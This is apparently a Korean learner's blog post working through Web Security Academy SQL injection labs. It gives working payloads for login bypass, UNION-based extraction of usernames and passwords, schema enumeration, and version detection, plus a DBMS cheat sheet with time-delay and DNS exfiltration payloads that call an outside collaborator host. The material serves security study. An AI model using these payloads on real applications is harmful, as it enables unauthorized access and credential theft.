SQL injection의 취약점은 SELECT 구문 WHERE 절에 가장 많이 발생한다
그리고 나타나는 다른 조건?위치? 는
- In UPDATE statements, within the updated values or the WHERE clause.
- In INSERT statements, within the inserted values.
- In SELECT statements, within the table or column name.
- In SELECT statements, within the ORDER BY clause.
라고한다. 해석해보면 - UPDATE 문장에서, WHERE절 혹은 WHERE 절
- INSERT 문장에서, 삽입값
- SELECT 문장에서, 테이블 혹은 열이름
- SELECT 문장에서, ORDER BY 구문
이 위치들에서 SQL 취약점이 잘 발생한다고 한다.
예를들어 쇼핑몰 사이트에서 원하는 카테고리를 클릭한다고 하면 클릭시
https://insecure-website.com/products?category=Gifts 해당 URL을 요청을 하게 된다.
이렇게 하면 URL 내의 파라미터 값을 참조해서
DB 서버로 들어가 SELECT * FROM products WHERE category = 'Gifts' AND released = 1 의 쿼리를 실행시키게 된다.
SQL은 주입 공격에 대한 방어 수단을 구현하지 못하는데 즉
https://insecure-website.com/products?category=Gifts'-- 이렇게 입력하면
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1 이런식으로 쿼리 응답 요청이 들어가게 된다.
SQL 에서 -- 는 주석과 같은 의미이므로 --' AND released = 1 이 내용은 주석처리가 된다.
쿼리 설명 내용
- 모든 세부 사항 ( *)
- products테이블 에서
- 어디에 category있는가Gifts
- 그리고 . released = 1
released =1 제한은 출시되지 않은 상품들을 숨기는 설정이다.
실습
SELECT * FROM products WHERE category = 'Gifts' AND released = 1 의 쿼리를 수행하는 쇼핑몰이 있다고한다.
출시되지 않은 하나이상의 제품을 표시하도록 하는 SQL 주입 공격을 수행하라고 한다.

이런식으로 카테고리를 클릭하면 URL 에 파라미터 변수가 주어지는데 이 변수 값에 아까 했던 방식으로 항상 참값이 나오게 입력해주면 모든 내용이 나오지 않을까?
https://0a9500070421d479a13af0db00e2000a.web-security-academy.net/filter?category=Gifts' or 1=1 --

성공 한듯 하다
다음은 사용자가 사용자의 이름과 비밀번호로 로그인 할 수 있는 어플리케이션을 가정해본다.
사용자 이름 :wiener 비밀번호 : bluecheese 를 로그인창에 입력한 후 로그인 버튼을 누르면 다음과 같은 쿼리를 통해 자격이 증명 즉 로그인이 될 것이다.
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
-users table에 있는 고객정보들 중에서 username 컬럼과 password 컬럼의 내용이 입력한 것과 같은 고객의 아이디가 출력이 되게(출력되면 로그인)
이 경우 공격자들은 비밀번호가 필요 없이 모든 사용자로 로그인이 가능하다.
주석을 사용하여 SELECT * FROM users WHERE username = 'wiener' -- AND password = 'bluecheese'
비밀번호 값이 필요가 없게 만들수 있기 때문이다.
실습
로그인 페이지에서 인젝션 공격을 하여 administrator 로 로그인을 해라

아이디를 모르는 경우
입력하고 자시고 그냥 항상 참값이 되어 로그인 되게 하면된다.
'or 1=1 --
아이디를 아는 경우
administrator' --' 를 입력하면 된다 . 맨뒤 ' 를 입력하면 CSRF 토큰이 없다는데 왜 이런 오류가 나는지는 잘모르겠다.
UNION 공격
어플리케이션의 응답 내에서 반환되는 경우 UNION 키워드를 사용하여 데이터베이스 내의 다른 테이블에서 데이터를 검색할 수 있다.(요청시 DB내용이 출력되는 경우를 말하는듯)
키워드 UNION을 사용하면 하나 이상의 추가 SELECT 쿼리를 실행하고 결과를 원래 쿼리에 추가가 가능하다.
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
이 쿼리는 두개의 열로 구성된 단일 결과를 반환하며 각 열에는 테이블 1의 a,b열의 값 / 테이블 2의 c,d열의 값이 출력이 된다.
UNION 쿼리가 작동 하려면 두 가지 핵심 요구 사항을 충족해야 하는데
- 개별 쿼리는 동일한 수의 열을 반환해야한다.
- 각 열의 데이터 유형은 개별 쿼리 간에 호환되어야 한다.
SQL 인젝션 UNION 공격을 할 때 원래 쿼리에서 반환되는 열의 수를 확인하는 방법이 두가지 존재한다.
한 가지는 ORDER BY 절을 여러 번 삽입하면서 컬럼 인덱스를 점차 증가시키면서 에러가 발생할 때까지 테스트하는 방법이다. 예를 들어 SQL 인젝션이 발생하는 지점이 원래 쿼리의 WHERE 절 안에 있는 문자열 이라면
' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- 이런식으로 입력한다
두 번째 방법은 UNION SELECT 서로 다른 개수의 null 값을 지정하는 일련의 페이로드를 제출하는것을 포함한다.
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL-- .....
이런 식으로 계속 입력하다보면 DB의 열값과 같아 질 때 오류가 발생하지 않는다.

여기 카테고리 변수에 UNION 공격을 해보면
'UNION SELECT NULL,NULL,NULL -- << 입력시 오류가 출력되지 않는다.

성공
데이터베이스별 구문
DBMS 마다 SQL 문버의 차이가 존재함으로 인젝션이나 처리를 할 때 생각해서 해야함
Oracle
1. Oracle의 SELECT 문에는 반드시 FROM 절이 필요하다.
2. 테이블이 필요할 때는 내장테이블 DUAL 을 사용한다.
3. --로 주석을 처리할 수 있으며, 그 뒤 내용은 무시된다.
MySQL
1. -- 주석은 반드시 뒤에 공백이 있어야한다. -- 이건 주석처리 o | --이건 주석처리 x
2. #기호로도 주석 처리 가능
🔹 문자열 연결 (String concatenation)
여러 문자열을 하나로 이어 붙일 수 있는 문법입니다.
| Oracle | `'foo' |
| Microsoft | 'foo'+'bar' |
| PostgreSQL | `'foo' |
| MySQL | 'foo' 'bar' (공백 필수) |
| CONCAT('foo','bar') |
🔹 문자열 추출 (Substring)
문자열의 일부를 추출할 수 있습니다. 인덱스는 1부터 시작합니다. (예: ‘ba’ 추출)
| Oracle | SUBSTR('foobar', 4, 2) |
| Microsoft | SUBSTRING('foobar', 4, 2) |
| PostgreSQL | SUBSTRING('foobar', 4, 2) |
| MySQL | SUBSTRING('foobar', 4, 2) |
🔹 주석 처리 (Comments)
입력 후 나머지 원래 쿼리를 무효화할 때 사용합니다.
| Oracle | --comment |
| Microsoft | --comment, /*comment*/ |
| PostgreSQL | --comment, /*comment*/ |
| MySQL | #comment |
| -- comment (공백 필요) | |
| /*comment*/ |
🔹 DB 버전 확인 (Database version)
데이터베이스의 종류와 버전을 확인하는 쿼리입니다.
| Oracle | SELECT banner FROM v$version |
| SELECT version FROM v$instance | |
| Microsoft | SELECT @@version |
| PostgreSQL | SELECT version() |
| MySQL | SELECT @@version |
🔹 DB 구조 탐색 (Database contents)
테이블과 컬럼 목록을 조회할 수 있습니다.
| Oracle | SELECT * FROM all_tables | SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME' |
| Microsoft | SELECT * FROM information_schema.tables | SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME' |
| PostgreSQL | 동일 | |
| MySQL | 동일 |
🔹 조건부 오류 발생 (Conditional errors)
조건이 참일 경우 일부러 에러를 발생시켜, 조건 확인을 합니다.
| Oracle | SELECT CASE WHEN (조건) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
| Microsoft | SELECT CASE WHEN (조건) THEN 1/0 ELSE NULL END |
| PostgreSQL | 1 = (SELECT CASE WHEN (조건) THEN 1/(SELECT 0) ELSE NULL END) |
| MySQL | SELECT IF(조건,(SELECT table_name FROM information_schema.tables),'a') |
🔹 에러 메시지를 통한 데이터 추출
에러 메시지에 민감한 데이터를 끼워 넣어 확인합니다.
| Microsoft | SELECT 'foo' WHERE 1 = (SELECT 'secret') |
| → varchar를 int로 변환할 수 없다는 에러 발생 | |
| PostgreSQL | SELECT CAST((SELECT password FROM users LIMIT 1) AS int) |
| → secret이 숫자가 아니라고 에러 발생 | |
| MySQL | SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) |
| → XPATH 에러 발생 |
🔹 여러 쿼리 실행 (Batched/stacked queries)
하나의 요청으로 여러 쿼리를 연달아 실행. 결과는 반환되지 않음.
| Oracle | ❌ 지원하지 않음 |
| Microsoft | QUERY1; QUERY2 또는 QUERY1 QUERY2 |
| PostgreSQL | QUERY1; QUERY2 |
| MySQL | QUERY1; QUERY2 (일부 환경에서만 가능) |
🔹 지연 시간 공격 (Time delays)
쿼리 실행 시 일정 시간 동안 응답 지연 발생.
| Oracle | dbms_pipe.receive_message(('a'),10) |
| Microsoft | WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT pg_sleep(10) |
| MySQL | SELECT SLEEP(10) |
🔹 조건부 지연 (Conditional time delays)
조건이 참일 때만 지연을 발생시켜 참/거짓을 구별.
| Oracle | `SELECT CASE WHEN (조건) THEN 'a' |
| Microsoft | IF (조건) WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT CASE WHEN (조건) THEN pg_sleep(10) ELSE pg_sleep(0) END |
| MySQL | SELECT IF(조건,SLEEP(10),'a') |
🔹 DNS 조회 (DNS lookup)
외부 DNS로 요청을 보내서 해당 쿼리가 실행되었는지 확인. Burp Collaborator 사용 필요.
| Oracle |
또는 (권한 필요)
| Microsoft | exec master..xp_dirtree '//BURP-COLLABORATOR/a'
| PostgreSQL | copy (SELECT '') to program 'nslookup BURP-COLLABORATOR'
| MySQL | (Windows만 가능)
LOAD_FILE('\\\\BURP-COLLABORATOR\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR\\a'
🔹 DNS를 통한 데이터 유출 (DNS exfiltration)
조회 결과를 DNS 주소에 삽입해 외부로 유출.
| Oracle |
| Microsoft |
| PostgreSQL | 복잡한 함수 생성 필요 (함수 내에 nslookup 포함)
| MySQL | (Windows만 가능)
----------------------------------------여기 까지 각종DBMS에서 표기법--------------
유용한 문자열 컬럼 찾기
UNION SELECT 공격으로 민감한 데이터를 추출하려면, 문자열 타입(col)이 포함된 컬럼이 필요하다.
절차
1. 필요한 컬럼의 수를 파악
ex) 쿼리가 4개의 컬럼을 반환한다면 4개의 값이 필요하다
2. 각 컬럼이 문자열을 허용하는지 테스트
ex) 각 컬럼에 'a' 같은 문자열을 하나씩 넣어보며 문자열을 사용하는지 테스트
에러 발생 시-> 해당 컬럼은 문자열 데이터 사용 x
에러 발생 하지 않을 시 -> 해당 컬럼은 문자열 데이터를 사용한다.
문자열을 출력할 수 있는 컬럼을 찾아야 민감한 데이터를 UNION SELECT로 노출시킬 수 있다.
주로 오류 기반 인젝션 또는 블라인드 인젝션에 자주 사용됨
실습

이런식으로 카테고리에 취약점이 존재한다고 한다.
DB에 cdsO8P 문자열을 검색해 보면 될 것 같다.
DB를 보려면 UNION 함수를 써야 할 것 같은데 일단
컬럼의 수를 찾아보자
category=Lifestyle'UNION SELECT NULL --

문법 오류라고 한다 아마 컬럼 수가 달라서 그런듯? NULL 값을 계속 추가해보자
category=Lifestyle'UNION SELECT NULL,NULL,NULL --

NULL값이 3개가 들어가니까 오류가 안나고 정상출력이 된다. => DB의 컬럼의 수가 3개이다.
이렇게 다른 형식의 값을 입력하면 오류가 나고 알맞은 형식으로 입력하면 정상 출력이 되는 경우를 오류 기반 인젝션 이라고 한다.
그리고 각 colum마다 NULL 대신 'a'를 입력해서 문자열을 쓰는 컬럼이 있는지 확인을 해볼까?
category=Lifestyle'UNION SELECT NULL,'a',NULL --

두번째 컬럼에서 문자열을 사용하는 것을 확인 할 수 있었음!
그럼 문자열을 사용하는 두번째 컬럼에 'cdsO8P'를 입력해보자
category=Lifestyle'UNION SELECT NULL,'cdsO8P',NULL --

cdsO8P가 출력되었다! 성공
흥미로운 데이터를 얻기 위한 UNION 공격
원래 쿼리가 반환하는 컬럼의 수와 그 중 문자열을 출력할 수 있는 컬럼 위치도 파악했을 경우 흥미로운 데이터를 검색할 수 있다고 한다.
그 원래 쿼리가 두 개의 컬럼을 반환하고 둘 다 문자열 데이터를 보유할 수 있으며
주입지점이 WHERE절 내의 따옴표로 묶인 문자열 이면서
DB가 username, password 라는 컬럼을 가지고 있는 user테이블을 포함하고 있는 경우를 생각해보자
그러면 ' UNION SELECT username, password FROM users -- 라는 인젝션을 주입하면 아이디와 비밀번호를 취득 할 수 있을 것이다.
하지만 보통 공격을 하는 경우 이렇게 테이블 명하고 컬럼명을 알 수가 없을 것이다.
근데 DB내에 어떤 테이블과 열이 포함되어 있는지 확인하는 방법이 있다고 한다.
실습
위 실습처럼 또 컬럼의수, 문자열을 받는 컬럼의 위치를 파악하자
category=Accessories'UNION SELECT 'a','a'--

두 개의 열이 있고 둘 다 문자열을 받는다.
문제에서 users 라는 테이블에 username,passwrod 테이블이 있다고 했다.
그렇다면
category=Accessories'UNION SELECT username,password FROM users--

빙고!
하나의 컬럼에서 여러 값을 출력하는 방법
하나의 컬럼밖에 없을 때 username과 password 를 한줄에 출력할 수 있지만 DBMS 마다 형식이 다르다.
Oracle : | |
MySQL : concat(username, '~', password)
SQL server : username + '~'+ password
administrator~s3cure 이런식으로 출력 되겠지?
실습

정답
데이터베이스의 종류와 버전을 식별하는 방법
SQL Injection을 성공적으로 수행하려면 먼저 데이터베이스의 종류, 버전, 테이블 구조를 파악해야 한다.
UNION 공격을 이용해서 DB의 종류 및 버전을 확인 할 수 있는 명령어이다.
MySQL : SELECT @@version
Oracle : SELECT * FROM v$version
postgreSQL : SELECT version()
실습
category=Gifts'UNION SELECT NULL,NULL --
음.. 이 전까지는 잘 됐는데 인젝션 주입이 안된다....
혹시 컬럼의 수가 문제인가 싶어서 늘려봐도 안된다.

Burp suite로 한번 보자

이걸로 하니까 되네?

찾아보니까
브라우저에 URL 인코딩 혹은 직접 요청할 경우 JS 나 프론트 코드가 자동으로 값 검증/필터링을 하는 브라우저도 존재한다고 한다.
하지만 burp 에서는 프론트엔드를 무시하고 백엔드로 바로 요청을 보내기 때문에 상관 없다고 함
Oracle을 제외한 DB에서는 information_schema 라는 뷰를 통해 데이터베이스 정보를 확인할 수 있다.
1. 테이블 목록 조회 하는 쿼리
SELECT * FROM information_schema.tables -- DB내에 존재하는 모든 테이블의 목록을 보여준다
2. 특정 테이블의 컬럼 정보 조회하는 쿼리
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
Users 테이블의 컬럼명과 데이터 타입을 반환
실습
category=Accessories'UNION SELECT table_name,NULL FROM information_schema.tables --

그림과 같이 웹페이지와 연동된 DB 테이블의 이름들이 출력된다. 쭉 찾아보면 User 정보가 담겨져 있을 것 같은 테이블이 존재할텐데 한번 탐색해보자
category=Accessories'UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name=' users_vkzwvu '--

아마 여기에 가면 비밀번호가 있을듯?
category=Lifestyle'UNION SELECT username_tihymt,password_hwlrga FROM users_vkzwvu --

정답